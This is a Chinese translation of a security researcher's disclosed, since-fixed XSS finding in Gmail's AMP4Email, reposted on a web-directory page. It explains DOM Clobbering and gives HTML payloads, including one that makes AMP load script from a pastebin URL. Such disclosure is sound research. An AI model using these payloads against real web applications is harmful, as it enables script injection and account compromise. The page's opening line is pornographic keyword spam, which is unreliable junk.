日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

這篇文章講述的是我在2019年8月向谷歌報告的XSS漏洞,和Gmail中的AMP4Email有關,這也是被稱為DOM Clobbering攻擊手法的具體實現。

什么是AMP4Email

AMP4Email(也稱為動態郵件)是Gmail的一個新特性,它能讓電子郵件包含動態html內容。雖然很久以前就能編寫含有HTML標記的電子郵件,但這通常只包是靜態內容,即某種格式、圖像等,不含任何腳本或表單。而AMP4Email則意味著更進一步,往電子郵件加入了更多的動態內容。在谷歌官方的一篇文章中,有一個完整的總結:

通過動態電子郵件,你可以很容易地直接對消息本身執行操作,比如回復某個事件、填寫問卷、瀏覽目錄或評論等。


以谷歌文檔中的評論為例,當某人在評論中提到你時,你就不會收到單獨的電子郵件,而是可以直接從消息中回復評論(可以觀察到Gmail分出一個線程)。

不過該功能也引出了一些明顯的安全問題,最明顯的則是XSS。在電子郵件中插入動態內容,是否意味著我們可以輕松地注入任意JAVAscript代碼嘛?不,這其實并不容易。

AMP4Email有一個強大的驗證器,簡而言之,就是它有一個強大白名單,限制使用某些HTML標記。具體情況可以通過https://amp.gmail.dev/playground/進行查看(如下圖),你也可以向自己發送一封動態電子郵件,看看它是如何工作的!

Gmail中AMP4Email所導致的XSS漏洞

 

當你試圖添加惡意HTML標簽時,會看到一個錯誤。

Gmail中AMP4Email所導致的XSS漏洞

 


而我在嘗試使用各種方法來繞過安全限制時,我注意到可以往標簽中寫入id屬性。

Gmail中AMP4Email所導致的XSS漏洞

 


這貌似是一個好的切入點,因為創建包含自定義的id屬性的HTML元素可能導致DOM Clobbering。

DOM Clobbering

DOM Clobbering是Web瀏覽器的一個舊特性,在許多應用中,它都會引起麻煩。一般來說,當你創建一個元素(例如<input id=username>),然后希望從JavaScript中引用它時,通常會使用document.getElementById('username')或document.querySelector('#username')。但以上并不是全部的方法!

傳統的方法是通過全局window對象的屬性來訪問它,例如window.username。所以在以上例子中,這和document.getElementById('username')完全相同!如果此時應用的某些動作完全基于某些全局變量,那么就可能導致DOM Cloberring!

為了進一步分析DOM Clobbering,假設我們有以下javascript代碼:

if (window.test1.test2) {
 eval(''+window.test1.test2)
}

此時我們的目的是只使用DOM Clobbering技術實現JS代碼。為了做到這件事,我們需要解決以下兩個問題:

  1. 我們知道可以為window創建新屬性,那我們可以在其他對象上創建新屬性嗎(例如test1.test2)?
  2. 我們可以控制將DOM元素轉換成字符串的流程么?大多數HTML元素在轉換為字符串時,都會得到類似[object HTMLInputElement]的結果。

讓我們先從第一個問題開始,最普通的解決方法是使用<form>標簽。每個<form>標簽中的<input>都可視為屬性添加,<form>的name屬性等于<input>的名字。例如下面的示例:

<form id=test1>
 <input name=test2>
</form>
<script>
 alert(test1.test2); // alerts "[object HTMLInputElement]"
</script>

而為了解決第二個問題,我編寫了一個簡短的JS代碼,它遍歷HTML中所有可能存在的元素,檢查它們的toString方法是否繼承自object。如果不是,則可能會返回其他對象。代碼如下:

object.getOwnPropertyNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== object.prototype.toString)

以上代碼返回了兩個元素:HTMLAreaElement(<area>)和HTMLAnchorElement(<a>)。在AMP4Email中,第一個不在白名單,所以只能利用第二個。而對于<a>,toString函數只返回href屬性的值:

<a id=test1 href=https://securitum.com>
<script>
 alert(test1); // alerts "https://securitum.com"
</script>

因此,如果我們想進行攻擊,(通過window.test1.test2的值),則需要以下類似代碼:

<form id=test1>
 <a name=test2 href="x:alert(1)"></a>
</form>

但問題是它根本不會生效。test1.test2是未定義的。就是把<a>替換為<input>也一樣。

不過,關于這個問題有一個有趣的解決方案,可在基于WebKit和blink的瀏覽器中生效。假設我們有兩個id相同的元素:

<a id=test1>click!</a>
<a id=test1>click2!</a>

此時訪問window.test1時會得到什么呢?我期望獲得第一個的值。但是在Chromium中,我們實際上得到了一個HTMLCollection!

Gmail中AMP4Email所導致的XSS漏洞

 


特別需要注意的是,我們可以通過索引以及id訪問HTMLCollection中的特定的元素。這意味著window.test1.test1實際上指的第一個元素。我們也可以設置name屬性,實現相同的效果:

<a id=test1>click!</a>
<a id=test1 name=test2>click2!</a>

現在我們可以通過window.test1.test2訪問第二個anchor元素。

Gmail中AMP4Email所導致的XSS漏洞

 


現在,我們回到eval(''+window.test1.test2),最后的答案是:

<a id="test1"></a><a id="test1" name="test2" href="x:alert(1)"></a>

那么,我們如何在AMP4Email中使用呢?

實施攻擊

上文提到,通過向元素添加id屬性,AMP4Email很有可能會被攻擊。為了找到一些攻擊的條件,我決定查看一下window的屬性。

Gmail中AMP4Email所導致的XSS漏洞

 

AMP4Email實際上也使用了一些針對DOM Clobbering的安全措施,例如它嚴格禁止了id屬性的某些值。

Gmail中AMP4Email所導致的XSS漏洞

 


但是,AMP_MODE并沒有被限制。所以讓我們看看<a id=AMP_MODE>會發生什么。

Gmail中AMP4Email所導致的XSS漏洞

 


貌似AMP4Email試圖加載某些Js文件,但由于404并未能成功。我們可以看到URL的中間有一個undefined,對于為什么會發生這種情況,我只能想出一個解釋:AMP試圖獲得AMP_MODE屬性,并將其插入URL中。但由于DOM Clobbering,導致預期的屬性缺失。相關代碼如下:

f.preloadExtension = function(a, b) {
 "amp-embed" == a && (a = "amp-ad");
 var c = fn(this, a, !1);
 if (c.loaded || c.error)
 var d = !1;
 else
 void 0 === c.scriptPresent && (d = this.win.document.head.querySelector('[custom-element="' + a + '"]'),
 c.scriptPresent = !!d),
 d = !c.scriptPresent;
 if (d) {
 d = b;
 b = this.win.document.createElement("script");
 b.async = !0;
 yb(a, "_") ? d = "" : b.setAttribute(0 <= dn.indexOf(a) ? "custom-template" : "custom-element", a);
 b.setAttribute("data-script", a);
 b.setAttribute("i-amphtml-inserted", "");
 var e = this.win.location;
 t().test && this.win.testLocation && (e = this.win.testLocation);
 if (t().localDev) {
 var g = e.protocol + "//" + e.host;
 "about:" == e.protocol && (g = "");
 e = g + "/dist"
 } else
 e = hd.cdn;
 g = t().rtvVersion;
 null == d && (d = "0.1");
 d = d ? "-" + d : "";
 var h = t().singlePassType ? t().singlePassType + "/" : "";
 b.src = e + "/rtv/" + g + "/" + h + "v0/" + a + d + ".js";
 this.win.document.head.AppendChild(b);
 c.scriptPresent = !0
 }
 return gn(c)
 }

下面是精簡版:

var script = window.document.createElement("script");
script.async = false;

var loc;
if (AMP_MODE.test && window.testLocation) {
 loc = window.testLocation
} else {
 loc = window.location;
}

if (AMP_MODE.localDev) {
 loc = loc.protocol + "//" + loc.host + "/dist"
} else {
 loc = "https://cdn.ampproject.org";
}

var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "";
b.src = loc + "/rtv/" + AMP_MODE.rtvVersion; + "/" + singlePass + "v0/" + pluginName + ".js";

document.head.appendChild(b);

在第一行中,新建了一個script元素,然后檢查AMP_MODE.test和window.testLocation是否為真。如果AMP_MODE.localDev為真,則用window.testLocation生成URL。最后將一些其他屬性聯合起來,形成完整的URL。但由于編碼方法的缺陷以及DOM Clobbering,我們可以控制最后的URL。我們假設AMP_MODE.localDev和AMP_MODE.test都為真,進一步簡化代碼:

var script = window.document.createElement("script");
script.async = false;

b.src = window.testLocation.protocol + "//" + 
 window.testLocation.host + "/dist/rtv/" + 
 AMP_MODE.rtvVersion; + "/" + 
 (AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "") + 
 "v0/" + pluginName + ".js";

document.head.appendChild(b);

還記得之前的window.test1.test2么,我們只需做相同的事,覆蓋window.testLocation.protocol:

<!-- We need to make AMP_MODE.localDev and AMP_MODE.test truthy-->
<a id="AMP_MODE"></a>
<a id="AMP_MODE" name="localDev"></a>
<a id="AMP_MODE" name="test"></a>

<!-- window.testLocation.protocol is a ba se for the URL -->
<a id="testLocation"></a>
<a id="testLocation" name="protocol" 
 href="https://pastebin.com/raw/0tn8z0rG#"></a>

不過在實際情況中,由于AMP中部署了Content-Security-Policy,因此代碼并未執行:

Content-Security-Policy: default-src 'none'; 
script-src 'sha512-oQwIl...==' 
 https://cdn.ampproject.org/rtv/ 
 https://cdn.ampproject.org/v0.js 
 https://cdn.ampproject.org/v0/

因此后來我又開始尋找繞過CSP的方法,當然也成功找到了:https://twitter.com/SecurityMB/status/1162690916722839552。不過我發現2016年就有人發現了相同的方法。

如果你想進一步進行學習,可以查看點擊這里。

時間線

2019年8月15日–向google發送報告

2019年8月16日–得到響應

2019年9月10日–Google確認漏洞

2019年10月12日–Google確認漏洞已修復

2019年11月18日–詳情公開

本文由白帽匯整理并翻譯,不代表白帽匯任何觀點和立場

來源:https://nosec.org/home/detail/3188.html

原文:https://research.securitum.com/xss-in-amp4email-dom-clobbering/

分享到:
標簽:漏洞 XSS
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定